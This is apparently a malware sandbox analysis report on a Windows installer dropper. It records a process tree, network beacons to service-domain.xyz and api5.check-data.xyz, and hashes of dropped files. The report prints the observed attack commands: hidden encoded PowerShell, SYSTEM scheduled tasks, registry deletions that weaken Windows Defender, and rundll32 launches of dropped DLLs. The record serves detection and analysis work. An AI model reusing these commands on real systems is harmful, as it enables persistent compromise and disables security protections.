                                                                                                            schtasks /CREATE /TN "gsABTJacb" /SC once /ST 04:28:46 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                            2⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:2804
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn "gsABTJacb"
                                                                                                            2⤵
                                                                                                              PID:964
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /DELETE /F /TN "gsABTJacb"
                                                                                                              2⤵
                                                                                                                PID:516
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "aMjmbceFMDnLRQrhL" /SC once /ST 01:47:50 /RU "SYSTEM" /TR "\"C:\Windows\Temp\kenPgsqBLemLniqf\ajeEcPIpsxTswcv\noFHVmP.exe\" 1k /site_id 525403 /S" /V1 /F
                                                                                                                2⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                • Creates scheduled task(s)
                                                                                                                PID:3988
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /run /I /tn "aMjmbceFMDnLRQrhL"
                                                                                                                2⤵
                                                                                                                  PID:3968
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                1⤵
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:2432
                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                  2⤵
                                                                                                                    PID:3100
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                  1⤵
                                                                                                                    PID:4076
                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                    1⤵
                                                                                                                      PID:4408
                                                                                                                    • C:\Windows\Temp\kenPgsqBLemLniqf\ajeEcPIpsxTswcv\noFHVmP.exe
                                                                                                                      C:\Windows\Temp\kenPgsqBLemLniqf\ajeEcPIpsxTswcv\noFHVmP.exe 1k /site_id 525403 /S
                                                                                                                      1⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Checks computer location settings
                                                                                                                      • Drops Chrome extension
                                                                                                                      • Drops desktop.ini file(s)
                                                                                                                      • Drops file in System32 directory
                                                                                                                      • Drops file in Program Files directory
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:4660
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /DELETE /F /TN "bnXhqWnZYPWvluXGbm"
                                                                                                                        2⤵
                                                                                                                          PID:4220
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                          2⤵
                                                                                                                            PID:3716
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:3752
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                              2⤵
                                                                                                                                PID:3216
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:372
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ypnECPGzU\rKEpZH.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "YdTBLvROIXvKiKj" /V1 /F
                                                                                                                                  2⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:456
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "YdTBLvROIXvKiKj2" /F /xml "C:\Program Files (x86)\ypnECPGzU\oOYvFZP.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:4140
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /END /TN "YdTBLvROIXvKiKj"
                                                                                                                                  2⤵
                                                                                                                                    PID:4632
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /DELETE /F /TN "YdTBLvROIXvKiKj"
                                                                                                                                    2⤵
                                                                                                                                      PID:3304
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "rEgzbydblMHcWW" /F /xml "C:\Program Files (x86)\kOgboOUMyeTU2\MVhhAZj.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:4088
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "nQJjoFuWxfxQm2" /F /xml "C:\ProgramData\BBXtEIsMTiOzNlVB\JKxTawv.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:3904
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "pPslWquOCKHHKrjgV2" /F /xml "C:\Program Files (x86)\jMSgazFzqJtVbLJEjcR\OTOMfiz.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:4240
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "yjDqposnDuTatUTvZEs2" /F /xml "C:\Program Files (x86)\NiCWuKvvKWJgC\ALWGarg.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:740
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "BtdEAPXLHUGyDJnnI" /SC once /ST 07:23:22 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\kenPgsqBLemLniqf\nxDYWisD\QndQOWu.dll\",#1 /site_id 525403" /V1 /F
                                                                                                                                      2⤵
                                                                                                                                      • Drops file in Windows directory
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:3260
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /run /I /tn "BtdEAPXLHUGyDJnnI"
                                                                                                                                      2⤵
                                                                                                                                        PID:4180
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                        2⤵
                                                                                                                                          PID:2556
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:2332
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                            2⤵
                                                                                                                                              PID:3628
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:2276
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /DELETE /F /TN "aMjmbceFMDnLRQrhL"
                                                                                                                                                2⤵
                                                                                                                                                  PID:3548
                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\kenPgsqBLemLniqf\nxDYWisD\QndQOWu.dll",#1 /site_id 525403
                                                                                                                                                1⤵
                                                                                                                                                  PID:3384
                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\kenPgsqBLemLniqf\nxDYWisD\QndQOWu.dll",#1 /site_id 525403
                                                                                                                                                    2⤵
                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                    PID:1036
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /DELETE /F /TN "BtdEAPXLHUGyDJnnI"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:4224

                                                                                                                                                  Network

                                                                                                                                                  • flag-unknown
                                                                                                                                                    DNS
                                                                                                                                                    service-domain.xyz
                                                                                                                                                    noFHVmP.exe
                                                                                                                                                    Remote address:
                                                                                                                                                    8.8.8.8:53
                                                                                                                                                    Request
                                                                                                                                                    service-domain.xyz
                                                                                                                                                    IN A
                                                                                                                                                    Response
                                                                                                                                                    service-domain.xyz
                                                                                                                                                    IN A
                                                                                                                                                    3.80.150.121
                                                                                                                                                  • flag-unknown
                                                                                                                                                    GET
                                                                                                                                                    https://service-domain.xyz/google_ifi_ico.png?rnd=jV3cov0UyC0Bb4aKE1IjY_GJSB8TJSB9GISB0UJSB0RJSB2TJSB4JJSB0RJSB3GISB1AMSB6
                                                                                                                                                    noFHVmP.exe
                                                                                                                                                    Remote address:
                                                                                                                                                    3.80.150.121:443
                                                                                                                                                    Request
                                                                                                                                                    GET /google_ifi_ico.png?rnd=jV3cov0UyC0Bb4aKE1IjY_GJSB8TJSB9GISB0UJSB0RJSB2TJSB4JJSB0RJSB3GISB1AMSB6 HTTP/1.1
                                                                                                                                                    Host: service-domain.xyz
                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                    Response
                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                    Server: nginx
                                                                                                                                                    Date: Thu, 01 Dec 2022 08:58:38 GMT
                                                                                                                                                    Content-Type: image/png
                                                                                                                                                    Content-Length: 95
                                                                                                                                                    Connection: keep-alive
                                                                                                                                                    Access-Control-Allow-Origin: *
                                                                                                                                                    Cache-control: no-cache="set-cookie"
                                                                                                                                                    Set-Cookie: AWSELB=9327DF5F0AF3D375CDC9DE0AFF98FDC82A9589C9820401D99493DFDF796F3DAB0062EEFB3E4A533F5B2753F2532FBA9D17E5754692E8600D254000879A4CE3001E279F1EF5;PATH=/;MAX-AGE=43200
                                                                                                                                                    Set-Cookie: AWSELBCORS=9327DF5F0AF3D375CDC9DE0AFF98FDC82A9589C9820401D99493DFDF796F3DAB0062EEFB3E4A533F5B2753F2532FBA9D17E5754692E8600D254000879A4CE3001E279F1EF5;PATH=/;MAX-AGE=43200;SECURE;SAMESITE=None
                                                                                                                                                  • flag-unknown
                                                                                                                                                    DNS
                                                                                                                                                    clients2.google.com
                                                                                                                                                    noFHVmP.exe
                                                                                                                                                    Remote address:
                                                                                                                                                    8.8.8.8:53
                                                                                                                                                    Request
                                                                                                                                                    clients2.google.com
                                                                                                                                                    IN A
                                                                                                                                                    Response
                                                                                                                                                    clients2.google.com
                                                                                                                                                    IN CNAME
                                                                                                                                                    clients.l.google.com
                                                                                                                                                    clients.l.google.com
                                                                                                                                                    IN A
                                                                                                                                                    142.250.179.174
                                                                                                                                                  • flag-unknown
                                                                                                                                                    GET
                                                                                                                                                    https://clients2.google.com/service/update2/crx?response=redirect&os=win&arch=x86&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=59.0.3071.86&lang=en-US&acceptformat=crx2,crx3&x=id%3Dmeejmcfbiapijdfaadackoblffmidlig%26installsource%3Dondemand%26uc&bGTPwOYxLN
                                                                                                                                                    noFHVmP.exe
                                                                                                                                                    Remote address:
                                                                                                                                                    142.250.179.174:443
                                                                                                                                                    Request
                                                                                                                                                    GET /service/update2/crx?response=redirect&os=win&arch=x86&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=59.0.3071.86&lang=en-US&acceptformat=crx2,crx3&x=id%3Dmeejmcfbiapijdfaadackoblffmidlig%26installsource%3Dondemand%26uc&bGTPwOYxLN HTTP/1.1
                                                                                                                                                    Host: clients2.google.com
                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                    Response
                                                                                                                                                    HTTP/1.1 204 No Content
                                                                                                                                                    Content-Security-Policy: script-src 'report-sample' 'nonce-h_Dr0buDvBMUVYeQ9mn3KQ' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
                                                                                                                                                    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                    Pragma: no-cache
                                                                                                                                                    Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                    Date: Thu, 01 Dec 2022 08:58:39 GMT
                                                                                                                                                    Server: GSE
                                                                                                                                                    Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                                                                  • flag-unknown
                                                                                                                                                    DNS
                                                                                                                                                    api5.check-data.xyz
                                                                                                                                                    rundll32.exe
                                                                                                                                                    Remote address:
                                                                                                                                                    8.8.8.8:53
                                                                                                                                                    Request
                                                                                                                                                    api5.check-data.xyz
                                                                                                                                                    IN A
                                                                                                                                                    Response
                                                                                                                                                    api5.check-data.xyz
                                                                                                                                                    IN CNAME
                                                                                                                                                    checkdata-1114476139.us-west-2.elb.amazonaws.com
                                                                                                                                                    checkdata-1114476139.us-west-2.elb.amazonaws.com
                                                                                                                                                    IN A
                                                                                                                                                    52.27.164.166
                                                                                                                                                    checkdata-1114476139.us-west-2.elb.amazonaws.com
                                                                                                                                                    IN A
                                                                                                                                                    44.233.23.32
                                                                                                                                                  • flag-unknown
                                                                                                                                                    POST
                                                                                                                                                    http://api5.check-data.xyz/api2/google_api_ifi
                                                                                                                                                    rundll32.exe
                                                                                                                                                    Remote address:
                                                                                                                                                    52.27.164.166:80
                                                                                                                                                    Request
                                                                                                                                                    POST /api2/google_api_ifi HTTP/1.1
                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/0 Safari/537.36
                                                                                                                                                    Host: api5.check-data.xyz
                                                                                                                                                    Content-Length: 722
                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                    Response
                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                    Access-Control-Allow-Origin: *
                                                                                                                                                    Cache-control: no-cache="set-cookie"
                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                    Date: Thu, 01 Dec 2022 08:58:32 GMT
                                                                                                                                                    Server: nginx
                                                                                                                                                    Set-Cookie: AWSELB=9327DF5F0AF3D375CDC9DE0AFF98FDC82A9589C9820401D99493DFDF796F3DAB0062EEFB3E4A533F5B2753F2532FBA9D17E5754692E8600D254000879A4CE3001E279F1EF5;PATH=/;MAX-AGE=43200
                                                                                                                                                    Content-Length: 0
                                                                                                                                                    Connection: keep-alive
                                                                                                                                                  • 93.184.221.240:80
                                                                                                                                                    322 B
                                                                                                                                                     7
                                                                                                                                                  • 104.80.225.205:443
                                                                                                                                                    322 B
                                                                                                                                                     7
                                                                                                                                                  • 51.132.193.104:443
                                                                                                                                                    322 B
                                                                                                                                                     7
                                                                                                                                                  • 93.184.221.240:80
                                                                                                                                                    322 B
                                                                                                                                                     7
                                                                                                                                                  • 93.184.221.240:80
                                                                                                                                                    322 B
                                                                                                                                                     7
                                                                                                                                                  • 93.184.221.240:80
                                                                                                                                                    322 B
                                                                                                                                                     7
                                                                                                                                                  • 3.80.150.121:443
                                                                                                                                                    https://service-domain.xyz/google_ifi_ico.png?rnd=jV3cov0UyC0Bb4aKE1IjY_GJSB8TJSB9GISB0UJSB0RJSB2TJSB4JJSB0RJSB3GISB1AMSB6
                                                                                                                                                    tls, http
                                                                                                                                                    noFHVmP.exe
                                                                                                                                                    1.1kB
                                                                                                                                                     5.7kB
                                                                                                                                                     13
                                                                                                                                                    11

                                                                                                                                                    HTTP Request

                                                                                                                                                    GET https://service-domain.xyz/google_ifi_ico.png?rnd=jV3cov0UyC0Bb4aKE1IjY_GJSB8TJSB9GISB0UJSB0RJSB2TJSB4JJSB0RJSB3GISB1AMSB6

                                                                                                                                                    HTTP Response

                                                                                                                                                    200
                                                                                                                                                  • 142.250.179.174:443
                                                                                                                                                    https://clients2.google.com/service/update2/crx?response=redirect&os=win&arch=x86&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=59.0.3071.86&lang=en-US&acceptformat=crx2,crx3&x=id%3Dmeejmcfbiapijdfaadackoblffmidlig%26installsource%3Dondemand%26uc&bGTPwOYxLN
                                                                                                                                                    tls, http
                                                                                                                                                    noFHVmP.exe
                                                                                                                                                    1.2kB
                                                                                                                                                     8.0kB
                                                                                                                                                     13
                                                                                                                                                    10

                                                                                                                                                    HTTP Request

                                                                                                                                                    GET https://clients2.google.com/service/update2/crx?response=redirect&os=win&arch=x86&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=59.0.3071.86&lang=en-US&acceptformat=crx2,crx3&x=id%3Dmeejmcfbiapijdfaadackoblffmidlig%26installsource%3Dondemand%26uc&bGTPwOYxLN

                                                                                                                                                    HTTP Response

                                                                                                                                                    204
                                                                                                                                                  • 52.27.164.166:80
                                                                                                                                                    http://api5.check-data.xyz/api2/google_api_ifi
                                                                                                                                                    http
                                                                                                                                                    rundll32.exe
                                                                                                                                                    1.2kB
                                                                                                                                                     536 B
                                                                                                                                                     5
                                                                                                                                                    3

                                                                                                                                                    HTTP Request

                                                                                                                                                    POST http://api5.check-data.xyz/api2/google_api_ifi

                                                                                                                                                    HTTP Response

                                                                                                                                                    200
                                                                                                                                                  • 224.0.0.251:5353
                                                                                                                                                    316 B
                                                                                                                                                     4
                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                    service-domain.xyz
                                                                                                                                                    dns
                                                                                                                                                    noFHVmP.exe
                                                                                                                                                    64 B
                                                                                                                                                     80 B
                                                                                                                                                     1
                                                                                                                                                    1

                                                                                                                                                    DNS Request

                                                                                                                                                    service-domain.xyz

                                                                                                                                                    DNS Response

                                                                                                                                                    3.80.150.121

                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                    clients2.google.com
                                                                                                                                                    dns
                                                                                                                                                    noFHVmP.exe
                                                                                                                                                    65 B
                                                                                                                                                     105 B
                                                                                                                                                     1
                                                                                                                                                    1

                                                                                                                                                    DNS Request

                                                                                                                                                    clients2.google.com

                                                                                                                                                    DNS Response

                                                                                                                                                    142.250.179.174

                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                    api5.check-data.xyz
                                                                                                                                                    dns
                                                                                                                                                    rundll32.exe
                                                                                                                                                    65 B
                                                                                                                                                     159 B
                                                                                                                                                     1
                                                                                                                                                    1

                                                                                                                                                    DNS Request

                                                                                                                                                    api5.check-data.xyz

                                                                                                                                                    DNS Response

                                                                                                                                                    52.27.164.166
                                                                                                                                                    44.233.23.32

                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                  Replay Monitor

                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                  Downloads

                                                                                                                                                  • C:\Program Files (x86)\NiCWuKvvKWJgC\ALWGarg.xml
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    4d2980143eaad4d33f7ff4f3e01eee2c

                                                                                                                                                    SHA1

                                                                                                                                                    f05ff9f199f56234d953a515d45cbfa16474c8bd

                                                                                                                                                    SHA256

                                                                                                                                                    8b6b5683e8f86fe6276ab554aaa99ca5646ee84761ca631fc8f9fabc31951876

                                                                                                                                                    SHA512

                                                                                                                                                    977c77d831c012b0a1a0cd7517f944602eb55aaf9f038d66d8b764c58c13cecd2c2555ef0f8ee70b5340bff26ec4196233bbcc3bb5ff58b28876a592fb86f122

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Program Files (x86)\jMSgazFzqJtVbLJEjcR\OTOMfiz.xml
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    cbcd5a1abf5fef0567808d15505f4797

                                                                                                                                                    SHA1

                                                                                                                                                    436102130c26c74b08c26e09b7570b4d975b047f

                                                                                                                                                    SHA256

                                                                                                                                                    438a49d2427a811c492447be89ffd143404b31390e079ffddf84c68589a98cbc

                                                                                                                                                    SHA512

                                                                                                                                                    86f6a2638cb40f23a3fe6142f70b78635bd86cf5203d3f3384d25806545a37bf72917204d22b200f20690ef3de4b279edac80742a0005f819edbf6b73b314459

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Program Files (x86)\kOgboOUMyeTU2\MVhhAZj.xml
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    2065bf9384fb3a857f39da9db13514ad

                                                                                                                                                    SHA1

                                                                                                                                                    3e55526d2a8344a3d1bd08126c98d0f526387003

                                                                                                                                                    SHA256

                                                                                                                                                    5ab27ab3d008b5d21aa8866f37a8e3929ed4458e54f4fbaf91846c57b2639d55

                                                                                                                                                    SHA512

                                                                                                                                                    f664e6651a045fa6e3184d21aa36a274c7ce8b9d74fbfb49e6095a6583e9308aacb17329763428950eaa7307a33294eb19d9c169da56d818bfe9d6f29f749ff2

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Program Files (x86)\ypnECPGzU\oOYvFZP.xml
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    fdb7627d8d6325d7a76d3a6a6bc4fe17

                                                                                                                                                    SHA1

                                                                                                                                                    8240d576f3ef39627407fc5b7f32fbe730793c44

                                                                                                                                                    SHA256

                                                                                                                                                    080ae6434f3b275036a2a9e2c5ff0552ae38ba1e643c773db37574ee92602b34

                                                                                                                                                    SHA512

                                                                                                                                                    3ed6a26b31ef72503af44b63777f33226001c9b467671d8319b5631208c7ce476b3585eb49648e0557ffb06f0d891b82f73f4f9f83c975f355c1111ca6d53345

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\ProgramData\BBXtEIsMTiOzNlVB\JKxTawv.xml
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    60faf2736c20584ddc4faf577aad7108

                                                                                                                                                    SHA1

                                                                                                                                                    6effbf595991744f8b2e24e3a357318234eda8ba

                                                                                                                                                    SHA256

                                                                                                                                                    7ac6700b0aabc66e7c6133e22139c666a018c23f064aa5dd36de8cc4c7d3b3c8

                                                                                                                                                    SHA512

                                                                                                                                                    707ab7fb38f139675874bcfa86c1a51d6639e1a3eacc8bebc1e17627afed709eef4a81533723c758b81b53e2b50cd9bd7975a31e884d9d782dd490f9424746f4

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    6cf293cb4d80be23433eecf74ddb5503

                                                                                                                                                    SHA1

                                                                                                                                                    24fe4752df102c2ef492954d6b046cb5512ad408

                                                                                                                                                    SHA256

                                                                                                                                                    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                                                                                                                                    SHA512

                                                                                                                                                    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                    Filesize

                                                                                                                                                    64B

                                                                                                                                                    MD5

                                                                                                                                                    dbf9fec0284459c885c695c96fdd4e67

                                                                                                                                                    SHA1

                                                                                                                                                    f3530eb549137596bb53cde08a3e3cc1ea237faf

                                                                                                                                                    SHA256

                                                                                                                                                    3cc2ef28f616ca2a6e5fb06da63d6bdb53b63e92701ecee38e84f98b7f56b38a

                                                                                                                                                    SHA512

                                                                                                                                                    95a7858d009940a1c29f9c05c2bd2a6a03a3122fe749546d87e435b5d3172fd0d22dec099b450be3ea99c58b8681484eafd8ad00be1364d9085fc4a9f249f452

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSAF30.tmp\Install.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.3MB

                                                                                                                                                    MD5

                                                                                                                                                    c7ae0c6360057a4c0c9e259488be939a

                                                                                                                                                    SHA1

                                                                                                                                                    8b38ab5c661a958eeb8d6a604a3baff914cb469e

                                                                                                                                                    SHA256

                                                                                                                                                    8f26d511708858fee03273e6f7bca1a8a3b0eedbdf514fce624155fa15825699

                                                                                                                                                    SHA512

                                                                                                                                                    81e6c5dc280a90494fd8c1faa55aa051b8872a6859e7691944a6c1372d05bdbf6e92417d70237509fc20aa4239e30142cc427671609f66deefbde3e95589b8f4

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSAF30.tmp\Install.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.3MB

                                                                                                                                                    MD5

                                                                                                                                                    c7ae0c6360057a4c0c9e259488be939a

                                                                                                                                                    SHA1

                                                                                                                                                    8b38ab5c661a958eeb8d6a604a3baff914cb469e

                                                                                                                                                    SHA256

                                                                                                                                                    8f26d511708858fee03273e6f7bca1a8a3b0eedbdf514fce624155fa15825699

                                                                                                                                                    SHA512

                                                                                                                                                    81e6c5dc280a90494fd8c1faa55aa051b8872a6859e7691944a6c1372d05bdbf6e92417d70237509fc20aa4239e30142cc427671609f66deefbde3e95589b8f4

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSB2DA.tmp\Install.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    939891cd629570b4483181becd74f29d

                                                                                                                                                    SHA1

                                                                                                                                                    2ea6874e9becca791ab47d0dda8414709223dd0d

                                                                                                                                                    SHA256

                                                                                                                                                    a6644b3fffdb9920e96b612dec56be68cc18a428ff26324cb7dbe31446ed5219

                                                                                                                                                    SHA512

                                                                                                                                                    bfcf8766a7940b6d256ee5c0d458e078a170be7cd80851880a9fc9cc36c5c80e1c05e216f0e1454dc10ea26e3e7cf1c9a6de3abd85b8834b654a61ef8758ffe6

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSB2DA.tmp\Install.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    939891cd629570b4483181becd74f29d

                                                                                                                                                    SHA1

                                                                                                                                                    2ea6874e9becca791ab47d0dda8414709223dd0d

                                                                                                                                                    SHA256

                                                                                                                                                    a6644b3fffdb9920e96b612dec56be68cc18a428ff26324cb7dbe31446ed5219

                                                                                                                                                    SHA512

                                                                                                                                                    bfcf8766a7940b6d256ee5c0d458e078a170be7cd80851880a9fc9cc36c5c80e1c05e216f0e1454dc10ea26e3e7cf1c9a6de3abd85b8834b654a61ef8758ffe6

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\ahDQVohyzlKmkignS\RiDICJVdUnKYVhP\zuclhRZ.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    939891cd629570b4483181becd74f29d

                                                                                                                                                    SHA1

                                                                                                                                                    2ea6874e9becca791ab47d0dda8414709223dd0d

                                                                                                                                                    SHA256

                                                                                                                                                    a6644b3fffdb9920e96b612dec56be68cc18a428ff26324cb7dbe31446ed5219

                                                                                                                                                    SHA512

